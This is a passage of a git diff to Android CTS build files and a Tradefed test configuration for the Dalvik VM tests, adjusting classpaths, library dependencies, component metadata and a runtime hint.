+$(LOCAL_BUILT_MODULE): PRIVATE_DALVIK_SUITE_CLASSPATH := $(oj_jack):$(libart_jack):$(cts-tf-dalvik-lib.jack):$(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar
+$(LOCAL_BUILT_MODULE) : $(vmteststf_dep_jars) $(JACK) $(oj_jack) $(libart_jack) $(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar | setup-jack-server
 	$(hide) rm -rf $(dir $@) && mkdir -p $(dir $@)
 	$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES)/dot/junit $(dir $(PRIVATE_INTERMEDIATES_DEXCORE_JAR))
 	# generated and compile the host side junit tests
diff --git a/tools/vm-tests-tf/AndroidTest.xml b/tools/vm-tests-tf/AndroidTest.xml
index 35db3ad..7d53b00 100644
--- a/tools/vm-tests-tf/AndroidTest.xml
+++ b/tools/vm-tests-tf/AndroidTest.xml
@@ -14,8 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS VM test cases">
+    <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="android.core.vm.targetprep.VmTestPreparer" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="android.core.vm-tests-tf.jar" />
+        <option name="runtime-hint" value="51m" />
     </test>
 </configuration>
diff --git a/tools/vm-tests-tf/targetprep/Android.mk b/tools/vm-tests-tf/targetprep/Android.mk
index 8abde93..a05b658 100644
--- a/tools/vm-tests-tf/targetprep/Android.mk
+++ b/tools/vm-tests-tf/targetprep/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := compatibility-host-util cts-tradefed tradefed-prebuilt
+LOCAL_JAVA_LIBRARIES := compatibility-host-util cts-tradefed tradefed
 
 LOCAL_MODULE_TAGS := optional